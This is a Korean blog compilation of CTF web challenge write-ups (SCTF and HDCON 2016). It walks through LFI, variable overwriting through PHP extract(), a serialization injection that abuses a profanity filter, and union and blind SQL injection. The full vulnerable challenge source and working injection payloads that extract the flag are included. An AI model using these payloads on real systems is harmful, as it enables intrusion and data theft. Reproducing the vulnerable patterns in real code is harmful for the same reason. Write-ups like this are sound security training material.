Attack - Letter To Me(300 pts)




문제를 살펴보면 플래그는 DB 안에 있다는 힌트가 있으며, sql 파일과 서버 주소를 던져줬다.


sql 파일을 살펴보면 아래와 같다.





메인 페이지는 위와 같다. login페이지와 register 페이지가 있는 것을 확인 할 수 있다.




register 페이지의 경우 관리자에게 문의하여 로그인하라는 메시지가 나온다.




관리자에게 연락 할 수는 없기 때문에 page 파라미터에서 발생하는 LFI 취약점을 이용하여 PHP Wrapper로 페이지 소스를 긁어온다.




index.php를 살펴보면 conn.php를 include 한 이후 extract로 GET과 POST 파라미터를 변수화 시켜준다. 이 때 conn.php 안에 있는 db 정보를 변경할 수 있기 때문에 문제 페이지에서 받았던 SQL 테이블 데이터를 외부 서버에 생성 후 연결하여 admin으로 로그인 할 수 있다.




이 때 로그인 이후에는 위와 같이(login.php) 문제 서버의 세션으로 로그인이 유지되기 때문에 로그인 상태를 유지 할 수 있다.




위는 admin으로 로그인 한 후의 상태이다. 사용자를 초대 할 수 있으며, 해당 계정으로 접속 시 메시지를 자신에게 보내고 받을 수 있는 send.php와 show.php에 접근 할 수 있다.



<?php
  function generateRS($length = 64) {
     $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
     $charactersLength = strlen($characters);
     $randomString = '';

     $urandom = fopen("/dev/urandom", "rb");
     for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)];
     }
     return $randomString;
  }


  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

  require "models.php";
  if(isset($letter))
  {
     $note = new note();
     $note->user = $_SESSION['user'];
     $note->letter = $letter;

     if($_FILES['file']['size'] > 0)
     {
        if($_FILES['file']['size'] > 30)
        {
           echo "too big";
        }
        else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name']))
        {
           echo "error1";
        }
        else
        {
           $uploadfile = "/var/www/html/uploads/".generateRS();
           if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
           {
              $fname = $_FILES['file']['name'];
              $note->addfile($fname, $uploadfile);
           }
           else
           {
              echo "error2";
           }
        }
     }
     $note->add();
  }
?>

send.php




<?php
  if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "")
  {
     die("Nope!");
  }

 require "models.php";
 $user = $_SESSION['user'];
 $user = mysql_real_escape_string($user);
 $DB->execute("select data from notes where username=\"${user}\"");
 $notes = $DB->fetch_all();

 foreach($notes as $note)
 {
    $note = unserialize($note);

    echo "<br>";
    $letter = $note->letter;
    $info = $note->resolve_file();
    echo "<div class=\"container\">";
    echo "<blockquote>";
    echo "<p>${letter}</p>";
    if(isset($info))
    {
       $path = $info[1];
       $name = $info[0];
       echo "<footer>Attached file: <cite title=\"Source Title\"><a href=\"".$path."\" download=\"".$name."\">file</a></cite></footer>";
   }
    else
      echo "<footer>Attached file: None</footer>";
      echo "</blockquote>";
   echo "</div>";
  }
?>

show.php




<?php
 class db
 {
    public $conn, $res;
    function __construct()
    {
       global $servername, $username, $password, $db_name;
       $this->conn = mysql_connect($servername, $username, $password) or die("connect error");
       mysql_select_db($db_name);
    }

    function execute($query)
    {
       $this->res = mysql_query($query) or die("SQL ERROR");
    }

    function fetch_all()
    {
       $res = array();
       while($row = mysql_fetch_row($this->res))
       {
      echo $row[0];
          array_push($res, $row[0]);
       }
       return $res;
    }

    function fetch_arr()
    {
       return mysql_fetch_array($this->res);
    }

    function fetch_one()
    {
       $res = mysql_fetch_row($this->res);
       return count($res) > 0 ? $res[0] : NULL;
    }

    function get_auto_incre()
    {
       return mysql_insert_id();
    }

 };


 $DB = new db();


 class note
 {
    public $user, $letter, $attached_file;

    function addfile($realname, $filename)
    {
       global $DB;

       $realname = mysql_real_escape_string($realname);
       $filename = mysql_real_escape_string($filename);

       $DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")");
       $this->attached_file = $DB->get_auto_incre();

    }

    function add()
    {
       global $DB;
       $str = serialize($this);
       $str = $this->filter($str);

       $user = mysql_real_escape_string($this->user);
       $str = mysql_real_escape_string($str);
       $DB->execute("insert into notes values (\"${user}\", \"${str}\")");
    }

    function filter($str)
    {
       global $profanity_word_replace;
       $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l");
       foreach($filter_word as $word)
       {
          $replace = str_repeat($profanity_word_replace, strlen($word));
          $word = preg_quote($word);
          $str = eregi_replace($word, $replace, $str);
       }
       return $str;
    }

    function resolve_file()
    {
       global $DB;
       $id = $this->attached_file;
       if($id)
       {
         $DB->execute("select realname, path from files where id=${id}");
         return $DB->fetch_arr();
      }
      return NULL;
    }
 };

?>

models.php


위 3개의 소스는 이 문제의 핵심인 send.php, show.php, models.php이다. models.php의 경우 index.php를 제외한 거의 대부분의 소스에서 include 하고 있는 소스이며, DB 관련 작업을 처리하는 함수의 정의가 담겨 있다.


send.php에서 파일을 업로드 할 경우 models.php에 정의되어있는 addfile 함수에서  DB에 파일 경로를 넣어준다. 또한 하나의 파일이 추가될때마다 자동으로 파일의 인덱스를 늘려주는 get_auto_incre 메소드를 사용하고 있다.

그리고 add 함수에서 사용자 이름과 해당하는 메시지를 저장하는데, 메시지를 저장할 때 serialize 함수를 이용하여 시리얼라이징 하며, filter 함수를 이용하여 유해 문자를 필터링 한다. 이 때, 시리얼라이징 이후 필터링을 거치기 때문에 s:4:”f**k”와 같이 시리얼라이징 되었을 경우 profanity_word_replace에 설정된 값만큼 4번 반복되어 값이 들어가진다. 현재 이 변수에 설정된 값은 conn.php에 ‘*’로 지정되어있으며, 이는 곧 f**k가 ****로 필터링 된다는 뜻이 된다. 하지만 extract 함수를 index.php에서 사용하고 있기 때문에 profanity_word_replace 변수의 값은 임의로 바꿀 수 있으며, 이를 이용하여 unserialize 함수를 사용하여 시리얼라이징을 해제, 객체화 할 때 취약점이 발생할 수 있다.




# table name

f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}


# column name

f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1


# flag

f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1


위와 같이 msg부분에 입력해주고, 전체 길이만큼 dummy byte로 채워지도록 profanity_word_replace를 재설정 한 후 요청하면 각각에 해당하는 결과를 얻을 수 있다


FLAG : SCTF{Enj0y_y0ur_0nly_life}

500점짜리 문제입니다. 개인적으로 2-2인 200점짜리 문제 푸는 시간보다 이 문제의 flag에 접근하는 시간이 더 적게 걸렸던 것 같습니다.


먼저 문제에 접속하면 rubiya님이 만들었다는 생각이 바로 스쳐 지나가는 웹페이지가 나타납니다.


login, join 메뉴가 있고 photo, m/v 등의 카테고리가 있습니다.


join의 경우 id,pw,icon을 선택하는 가입 폼이 나타나며, 가입을 하면 선택한 icon에 해당하는 icon이 mypage 메뉴에 나타납니다.


icon의 경로는 /geek/icon/icon_[number].gif입니다.


여기서 파일명을 지워주면 icon 디렉토리가 리스팅 되는데, 여기에 view.zip을 다운받아 열어보면 /icon/view.php의 소스코드를 확인 할 수 있습니다.


<?php
//      mysql_query("insert into members values('{$uid}','{$upw}','./icon_{$icon}.gif')");
  session_start();
  if($_SESSION['icon']){
    $img = file_get_contents($_SESSION['icon']);
    header('Content-type:image/gif');
    echo $img;
    echo $_SESSION['icon'];
  }


/*
CREATE TABLE `members` (
  `uid` varchar(32) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT NULL,
  `pw` varchar(32) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT NULL,
  `icon` varchar(32) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
*/
?>

view.php


아래 테이블 구조를 살펴보면 uid, pw, icon가 컬럼으로 존재한다는 것을 알 수 있으며, file_get_contents에서 icon 세션에 들어간 값을 읽어준다는 것을 확인 할 수 있습니다.

여기서 생각 할 수 있는 것은 icon이 32바이트의 varchar형이기 때문에 32바이트를 넘는 icon 값을 준다면 뒤의 .gif를 자르고 원하는 php 파일을 열 수 있을 거라는 것입니다.

따라서 join 부분에서 icon의 값을 "1/../../././././index.php"와 같이 ./icon_을 포함하여 32바이트를 맞춰준 후 가입을 해줍니다.

그리고 view-source:[IP]/icon/view.php에 접속해보면 index.php를 얻어 낼 수 있습니다.


<?php
  session_start();
  include("5f0c2baaa2c0426eed9a958e3fe0ff94.php");
  $filter_list = array("filter_lfi","filter_sqli","filter_xss","filter_length");
  function filter_lfi($v){
    if(preg_match("/sess/")) exit("no hack");
  }
  function filter_sqli($v){
    if(preg_match("/\'|\"|\\\/",$v)) exit("no hack");
  }
  function filter_xss($v){
    if(preg_match("/<|>/",$v)) exit("no hack");
  }
  function filter_length($v){
    if(strlen($v) > 32) exit("length too big");
  }

  extract($_REQUEST);
  if($page == "login"){
?>
    <h3>Login</h3>
    <p>
      <form action="./?page=login_chk" method="POST">
      <table>
      <tr><td>ID</td><td><input type="text" name="uid" id="uid"></td>
      <td rowspan="3"><img src="./images/login.jpg" width="270" style="margin-left: 20px; margin-top: -38px; position:fixed;"></td></tr>
      <tr><td>PW</td><td colspan="2"><input type="text" name="upw" id="upw"></td></tr>
      <tr><td colspan="2"><input type="submit" value="Login" style="width: 100%;"></td></tr>
      </table>
      </form>
    </p>
<?php
  }
  else if($page == "login_chk"){
    if(($uid) && ($upw)){
      foreach($filter_list as $filter) array_map($filter,$_REQUEST);
      include "dbconn.php";
      dbconnect();
      $r = mysql_fetch_array(mysql_query("select * from members where uid='{$uid}' and pw='{$upw}'"));
      if($r['uid']){ $_SESSION['uid'] = $r['uid']; $_SESSION['icon'] = $r['icon']; exit("<script>location.href='./';</script>"); }
      else exit("<script>alert('login fail');history.go(-1);</script>");
    }
    else exit("<script>alert('login fail');history.go(-1);</script>");
  }
  else if($page == "join"){
?>
    <h3>Join</h3>
    <p>
      <form action="./?page=join_chk" method="POST">
      <table>
      <tr><td>ID</td><td><input type="text" name="uid" id="uid"></td>
      <td rowspan="3"><img src="./images/login.jpg" width="270" style="margin-left: 20px; margin-top: -38px; position:fixed;"></td></tr>
      <tr><td>PW</td><td colspan="2"><input type="text" name="upw" id="upw"></td></tr>
      <tr><td>Icon</td><td><select name=icon><?php for($i=1;$i<=10;$i++) echo "<option value={$i}>$i.gif</option>"; ?></select></td></tr>
      <tr><td colspan="2"><input type="submit" value="Join" style="width: 100%;"></td></tr>
      </table>
      </form>
    </p>
<?php
  }
  else if($page == "join_chk"){
    if(($uid) && ($upw) && ($icon)){
      foreach($filter_list as $filter) array_map($filter,$_REQUEST);
      include "dbconn.php";
      dbconnect();
      $r = mysql_fetch_array(mysql_query("select * from members where uid='{$uid}'"));
      if($r['uid']) exit("uid already existed");
      $icon = substr("./icon_".$icon.".gif",0,32);
      mysql_query("insert into members values('{$uid}','{$upw}','{$icon}')");
      exit("<script>alert('join ok');location.href='./?page=login';</script>");
    }
    else exit("<script>alert('join fail');history.go(-1);</script>");
  }
  else if($page == "photo"){
?>
    <h3>Photo</h3>
    <p><img src="./images/1.jpg" width="430"></p>
    <p><img src="./images/2.jpg" width="430"></p>
    <p><img src="./images/3.png" width="430"></p>
    <p><img src="./images/4.gif" width="430"></p>
<?php
  }
  else if($page == "video"){
?>
    <h3>Music Video</h3>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/iv-8-EgPEY0?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/xnku4o3tRB4?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/n8I8QGFA1oM?rel=0" frameborder="0" allowfullscreen></iframe></p>
    <p><iframe width="520" height="293" src="//www.youtube.com/embed/kKS12iGFyEA?rel=0" frameborder="0" allowfullscreen></iframe></p>
<?php
  }
  else if($page == "me"){
    echo "<p>uid : {$_SESSION[uid]}</p><p>icon<img src=./icon/view.php></p>";
  }
  else if($page == "logout"){
    session_destroy();
    exit("<script>location.href='./';</script>");
  }
  else{
?>
    <h3>ㅋrystal :/</h3>
    <p><img src="./images/k_03.jpg" width="430" style="position:fixed;"></p>
<?php
  }
  include("4bbc327f5b0fd076e005961bcfc4a9ee.php");
?>

index.php


여기서 생각 할 수 있는 것은 마지막 include하는 파일에서 플래그를 뱉어줄수도 있다고 생각하여 삽질해봤는데, md5로 hash 되어 있기 때문에 읽어오지 못했습니다.

다음으로 생각 할 수 있는 것은 extract로 $_REQUEST를 변수화 시켜주기 때문에 get으로 filter_list를 []로 초기화 시켜준다면 SQLi를 login 부분에서 맥일 수 있을 것이라고 생각하고 SQLi까지 조질 수 있었습니다.




dbconn.php도 확인해봤었네요.



SQLi를 써먹을 수 있다고 생각 했을 때가 9시 58분이었습니다.


flag 테이블이 있을거라 생각했기에 union으로 테이블과 컬럼만 조지면 됬었는데 시간이 부족해서 시도 해 보지 못하고 여기서 대회가 종료되었습니다.


유감..


 





P.S - Adm1nkyj님이 file_get_contents에서 windows wild card를 이용해서도 flag를 얻어 올 수 있었다고 합니다. 1번 문제도 wild card 문제였다고 들었는데... 생각도 못해서 아쉬웠습니다.. 유감.




'CTF > HDCON 2016' 카테고리의 다른 글

[HDCON 2016] 후기  (2) 2016.10.16
[HDCON 2016] WEB_2(2-2)  (0) 2016.10.16


문제에 접속하면 위와 같은 웹페이지가 나오는데, 공격 벡터로는 Keyword 입력 폼과 로그인 폼 단 두개입니다.

따라서 200% SQLi라고 생각하고 Keyword 부분을 조졌는데, 웬만한 SQL 명령어는 다 막혀있었습니다.

그 와중에 limit와 procedure analyse()는 막혀 있지 않아서 이를 이용해 column명을 알아냈습니다.

Keyword 부분에서는 no와 k2e3w0r4d2e98xi2t 컬럼이 존재했는데, 어차피 같은 테이블을 참조하고 있기 때문에 Keyword 부분에서 2번째 컬럼의 값을 뽑아 낼 수 있을 거라 생각하고 blind SQLi로 key를 알아냈습니다.


위와 같이 ID와 PW의 값을 알려줍니다.

뒤의 부분은 게싱으로 INJECTION이라는 것을 유추 할 수 있었습니다.


위의 아이디와 패스워드로 로그인 하면 flag를 뱉어냅니다.

'CTF > HDCON 2016' 카테고리의 다른 글

[HDCON 2016] 후기  (2) 2016.10.16
[HDCON 2016] WEB_4(2-4)..Unsolved  (0) 2016.10.16




와.. 고생했다 나놈;;

출제자 본인도 ㅈ같다던 문제를 드디어...



+ Recent posts